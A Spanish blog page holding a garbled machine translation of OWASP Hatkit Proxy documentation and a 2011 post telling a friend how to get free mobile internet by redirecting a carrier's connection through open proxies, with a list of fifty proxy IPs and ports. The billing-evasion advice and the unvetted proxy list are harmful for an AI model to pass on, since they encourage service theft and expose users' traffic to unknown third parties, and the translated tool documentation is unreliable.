Esto establece una lista de dominios que están en lista blanca por el proxy. Si deja este campo en blanco, todos los dominios se incluirán. Usted no tiene que especificar subdominios, los se incluyen automáticamente. Ejemplo: google.com, ru incluiría abcgoogle.com y evil.ru
WL Redes
Esto establece una lista de redes que la lista blanca por el proxy. Si deja este campo en blanco, las direcciones IP no se comprobará (auto-pase). Usted puede especificar las redes de dos maneras. Ejemplo: 10.0.2.2/24, 10.1.0.1/32, 193 .*, 192.168 .*, 8.8.8.8
Lista negra
Esto establece una lista negra por lo que es tratado por el proxy. Las listas negras son buenas para especificar las imágenes o contenido estático que desea evitar.
Fwd proxy
Desvío de poder, El formato a utilizar es por ejemplo PROXY 127.0.0.1:8008 o SOCKS 10.0.2.2:8080
Escucha interfaz - donde el poder va a escuchar
MongoDB
Si deja este campo en blanco, el tráfico no se guardarán, pero todavía se puede utilizar el proxy para interceptar y modificar tráfico.
Nivel de registro - así, ¿cuánto quieres ver en la consola?
Entrar ignorado
Si se selecciona, el proxy se informe en la consola cada vez que se tiene en cuenta una solicitud. Útiles para cortar los filtros WL / BL.
Registro de tratados
Si se selecciona, el proxy se informe en la consola cada vez que se procesa una solicitud por el proxy. Útiles para cortar los filtros WL / BL.


Ajustes:

Fwd dirección
Especifique el punto final remoto al que desea todo el tráfico que se enviará, por ejemplo, foobar.com: 80
Escucha interfaz
Especifique dónde desea que el proxy TCP para escuchar
SSL
Si está activado, el proxy se escucha conexiones SSL y el uso de SSL para la conexión remota


Estos son todos los documentados en la solicitud, si hace clic en el?-botón, podrás ver más información acerca de la puesta en cuestión. Consejo: La mayoría de estos ajustes se pueden modificar más tarde, por lo que no es necesario reiniciar el servidor proxy para, por ejemplo redefinir los filtros para determinar lo que es capturado y lo que se ignora.

Con el fin de almacenar el tráfico de hecho, también es necesario instalar MongoDB. Por favor, consulte MongoDB de la versión adecuada para su plataforma. Nota: MongoDB es por lo general también está disponible a través de gestores de paquetes de Linux, si quieres hacerlo de la manera simple:

sudo apt-get install MongoDB

La ejecución del proxy (modo HTTP)

Las estadísticas-panel contiene algunos contadores de base para mostrar lo que está sucediendo. Un detalle de implementación en el proxy es que no debe aumentar su consumo de recursos por ejemplo, la generación de mapas de sitio. Las estadísticas sólo se miden los contadores en la solicitud de diferentes verbos y los códigos de estado de la respuesta.


La intersección de panel es donde se selecciona para iniciar la interceptación de datos, control si desea resaltando la sintaxis y si desea hacerlo en FQ o en el modo NFQ.

Cuando el navegador envía una petición a un proxy, la solicitud es completa, es decir, la primera línea se ve algo como esto:

GET HTTP: / / foo.com: 80/gazonk a = b HTTP/1.1?

El proxy normalmente analiza el requestline en (host, puerto, isSsl, URI) y se conecta con el host: puerto, posiblemente, el uso de SSL. A continuación, envía una solicitud NFQ, que en este caso sería el siguiente:

"GET / gazonk? a = b HTTP/1.1"

En la mayoría de otros poderes, la intervención se realiza * antes * de la representación analiza la solicitud del explorador, para que el usuario siempre está en el modo de FQ. Con proxy HatKit, puede modificar la solicitud en el modo de NFQ si lo desea. Estas son las diferencias básicas:

FQ modo:

Copiar y pegar la compatibilidad con otros servidores proxy, por ejemplo, WebScarab y eructo.
El proxy, por necesidad, realizar un poco de la validación de que la solicitud es válida, por lo menos ese host, puerto, isSSl y la URI se puede analizar desde el requestline.

NFQ modo:

El proxy no hará la validación de la solicitud. Puede escribir básicamente cualquier cosa en la solicitud, ya que el host, el puerto, isSSL ya está analizado. Esto significa que ustedes no están obligados a http, y si usted está probando servidores http, puede malformación las peticiones de la forma que desee.
Usted todavía puede cambiar de host / puerto / isSSL por los campos de entrada individual disponible



Todos los lugares donde está habilitado el "Apply' botón se puede modificar en la marcha


La ejecución del proxy (modo TCP)

Todo.


Fuente: https://www.owasp.org/index.php/OWASP_Hatkit_Proxy_Project#tab=Project_About

Traduccion:Dellcom1@


Saludos Mundo Libre.

lunes, 18 de abril de 2011

Proxys List

Saludos Mundo Libre.

Este post es para mi amiga tere que quiere tener internet gratis en su celular.

Si tu celular tiene wifi solo hay que configurar la coneccion en ves que se comunique a ideas telcel hay que configurar la wifi para poderte conectar a interner de puntos de acceso.

no te imaginas la cantidad de redes abiertas que hay

Ahora si tu celular no tiene el wifi y te tienes que conectar a ideas telcel el truco esta en cambiar la direccion de coneccion y el puerto de enlace .

Te tienes que ir a configuracion internet ayi encontraras algo como esto

http://ideastelcel.com:80

Algo paresido bueno tienes que cambiar esa coneccion y poner algun proxy de acceso a internet para que puedas navegar por la red ya que como cada dispositivo de red tienes una mac al crusar o hacer una peticion a el servidor de telcel conocen tu servicio y de ayi el cobro.

Lo que vamos hacer es proxyhar la coneccion a interner y navegar anonimamente en la red.

Yo He usado este metodo y me ha funcionado con cualquier celular .

en post anteriores he colocado otros que tambien me han funcionado de maravilla solo hay que lee un poco en los post anteriores.

ha qui te dejo un listado de proxys:

1 61.51.17.28 8080 transparent China Hoy WHOIS
2 165.228.131.12 80 transparent Australia Hoy WHOIS
3 220.181.39.121 80 transparent China Hoy WHOIS
4 219.83.82.66 8080 transparent Indonesia Hoy WHOIS
5 202.56.232.95 80 anonymous India Hoy WHOIS
6 211.209.177.99 8080 high anonymity South Korea Hoy WHOIS
7 91.121.3.37 8080 transparent France Hoy WHOIS
8 125.243.233.71 8080 transparent South Korea Hoy WHOIS
9 222.89.65.154 8080 transparent China Hoy WHOIS
10 165.228.132.11 80 transparent Australia Hoy WHOIS
11 211.231.187.4 80 anonymous South Korea Hoy WHOIS
12 211.144.106.133 8000 anonymous China Hoy WHOIS
13 199.203.55.3 3128 transparent Israel Hoy WHOIS
14 165.228.132.10 3128 transparent Australia Hoy WHOIS
15 61.135.204.121 80 transparent China Hoy WHOIS
16 203.113.130.49 80 high anonymity Vietnam Hoy WHOIS
17 202.168.228.238 8080 transparent Banglades Hoy WHOIS
18 165.228.129.10 3128 transparent Australia Hoy WHOIS
19 200.26.114.131 3128 transparent Argentina Hoy WHOIS
20 80.69.65.97 3128 transparent Netherlands Hoy WHOIS
21 89.34.9.50 6588 high anonymity Romania Hoy WHOIS
22 148.223.112.194 3128 high anonymity Mexico Hoy WHOIS
23 58.71.26.2 8080 transparent Philippines Hoy WHOIS
24 201.28.123.98 3128 transparent Brazil Hoy WHOIS
25 203.113.130.59 80 high anonymity Vietnam Hoy WHOIS
26 81.200.15.156 3128 high anonymity Russian Federation Hoy WHOIS
27 69.88.144.161 80 transparent United States Hoy WHOIS
28 61.233.18.116 3128 high anonymity China Hoy WHOIS
29 203.101.126.221 3128 transparent India Hoy WHOIS
30 203.200.187.170 8080 transparent India Hoy WHOIS
31 210.212.95.103 8080 transparent India Hoy WHOIS
32 218.28.86.97 3128 transparent China Hoy WHOIS
33 210.212.248.99 3128 transparent India Hoy WHOIS
34 66.98.238.8 3128 transparent United States Hoy WHOIS
35 209.88.89.183 3128 transparent Zimbabwe Hoy WHOIS
36 201.21.80.182 3128 transparent Brazil Hoy WHOIS
37 200.96.11.3 80 transparent Brazil Hoy WHOIS
38 80.191.216.50 3128 transparent Iran Hoy WHOIS
39 193.194.94.4 80 anonymous Algeria Hoy WHOIS
40 64.34.113.50 80 transparent Canada Hoy WHOIS
41 220.225.146.132 8080 transparent India Hoy WHOIS
42 165.228.128.10 3128 transparent Australia Hoy WHOIS
43 87.197.51.90 3128 transparent Slovak Republic Hoy WHOIS
44 61.166.68.74 80 high anonymity China Hoy WHOIS
45 61.47.19.215 8080 transparent Thailand Hoy WHOIS
46 200.181.55.100 8080 transparent Brazil Hoy WHOIS
47 64.34.113.100 80 transparent United States Hoy WHOIS
48 202.175.58.10 80 transparent Macau Hoy WHOIS
49 203.69.72.198 80 high anonymity Taiwan Hoy WHOIS
50 220.8.16.187 8080 high anonymity Japan Hoy WHOIS

Saludos Mundo libre.